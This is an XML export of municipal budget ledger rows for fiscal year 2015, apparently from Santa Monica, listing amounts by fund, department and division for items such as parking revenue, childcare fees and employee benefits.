<row _id="17325"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>846.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>22602</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>22602</total></row>
<row _id="17326"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408120.0</object><object_description>LA MARATHON</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-165000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-165000</total></row>
<row _id="17327"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>15</fund_id><fund_name>Low/Mod Incme Housing Asset Fd</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>404178.0</object><object_description>RESIDUAL RECEIPTS-HOUSING</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>-550000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-550000</total></row>
<row _id="17328"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579961.0</object><object_description>BBB-GEN FUND REIMB-MISC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>50000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50000</total></row>
<row _id="17329"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400300.0</object><object_description>ON STREET METERS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-14557000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14557000</total></row>
<row _id="17330"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400318.0</object><object_description>ATTENDANT PARKING-STRUCTRE 7&amp;8</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-3715000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3715000</total></row>
<row _id="17331"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>404430.0</object><object_description>MAIN STREET PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-969000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-969000</total></row>
<row _id="17332"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407800.0</object><object_description>CIVIC CENTER PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-1885000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1885000</total></row>
<row _id="17333"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>544870.0</object><object_description>PARKING CITATION COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500000</total></row>
<row _id="17334"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>555990.0</object><object_description>PARKING AGREEMENT W / MACERICH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1857500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1857500</total></row>
<row _id="17335"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555080.0</object><object_description>DEAD ANIMAL DISPOSAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>9913</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9913</total></row>
<row _id="17336"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13001</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13001</total></row>
<row _id="17337"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>1360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1360</total></row>
<row _id="17338"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400</total></row>
<row _id="17339"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>409210.0</object><object_description>FIRE HIGH RISE INSPECTIONS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-124502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-124502</total></row>
<row _id="17340"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>577830.0</object><object_description>WATER CONSERVATION REBATES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17341"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>544126.0</object><object_description>PRINTING - TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>6000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6000</total></row>
<row _id="17342"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17343"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>410070.0</object><object_description>OPEN SPACE CONTRIB 1318 2ND</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17344"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-500</total></row>
<row _id="17345"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409008.0</object><object_description>CHILDCARE-APRIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-31617</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-31617</total></row>
<row _id="17346"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-13950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13950</total></row>
<row _id="17347"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409062.0</object><object_description>SMSE-SPRING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-8650</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-8650</total></row>
<row _id="17348"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-CAO</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-10000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10000</total></row>
<row _id="17349"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>402166.0</object><object_description>FILM / PHOTO PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-5000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5000</total></row>
<row _id="17350"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570081.0</object><object_description>TRANSFER OUT-WTR L-INCOME DISC</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="17351"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409001.0</object><object_description>CHILDCARE-SEPTEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-57684</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-57684</total></row>
<row _id="17352"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409022.0</object><object_description>ENRICHMENT-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-152000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-152000</total></row>
<row _id="17353"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556260.0</object><object_description>TWILIGHT CONCERT SERIES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>500000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>500000</total></row>
<row _id="17354"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>404010.0</object><object_description>PROP 84-16TH ST WATERSHED</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-1013085</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1013085</total></row>
<row _id="17355"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579963.0</object><object_description>BBB-GEN FUND REIMB-FIN</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>261702</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>261702</total></row>
<row _id="17356"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>407693.0</object><object_description>TAXI DRIVER PERMIT FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-51480</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-51480</total></row>
<row _id="17357"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>408471.0</object><object_description>PEDICAB VEHICLE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2015</fiscal_year><july>-2382</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2382</total></row>
<row _id="17358"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3540</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3540</total></row>
<row _id="17359"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-3772</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3772</total></row>
<row _id="17360"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10102</total></row>
<row _id="17361"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52691</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>52691</total></row>
<row _id="17362"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>456660</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>456660</total></row>
<row _id="17363"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>-73905</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-73905</total></row>
<row _id="17364"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>17197</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17197</total></row>
<row _id="17365"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="17366"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>533230.0</object><object_description>SECURITY SYSTEMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17367"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579011.0</object><object_description>DISCRET-SAFE ROUTES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17368"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401133.0</object><object_description>BASKETBALL LEAGUES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2015</fiscal_year><july>-24300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24300</total></row>
<row _id="17369"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>555250.0</object><object_description>MEDICAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>126950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>126950</total></row>
<row _id="17370"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>410290.0</object><object_description>OPC SEA LEVEL RISE ADAPTATION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2015</fiscal_year><july>-235000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-235000</total></row>
<row _id="17371"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>800</total></row>
<row _id="17372"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="17373"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>566582.0</object><object_description>PARAMEDIC CERTIFICATES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
